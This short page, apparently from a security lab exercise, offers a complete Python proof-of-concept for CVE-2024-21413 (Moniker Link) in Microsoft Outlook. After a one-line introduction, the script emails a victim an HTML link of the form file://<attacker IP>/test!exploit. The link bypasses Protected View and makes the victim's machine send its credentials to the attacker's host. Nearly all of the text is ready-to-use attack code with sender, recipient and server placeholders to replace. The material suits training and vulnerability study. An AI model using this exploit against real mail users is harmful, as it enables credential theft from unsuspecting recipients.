Leak user’s credentials using CVE-2024-21413 to bypass Outlook’s Protected View.
On February 13th, 2024, Microsoft announced a Microsoft Outlook RCE & credential leak vulnerability with the assigned CVE of CVE-2024-21413 (Moniker Link).
'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
<p><a href="file://10.9.229.235/test!exploit">Click me</a></p>
</body>
</html>"""
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,'html')
message.attach(msgHtml)
server = smtplib.SMTP('10.10.190.232', 25)
server.ehlo()
try:
server.login(sender_email, password)
except Exception as err:
print(err)
exit(-1)
try:
server.sendmail(sender_email, [receiver_email], message.as_string())
print("\n Email delivered")
except Exception as error:
print(error)
finally:
server.quit()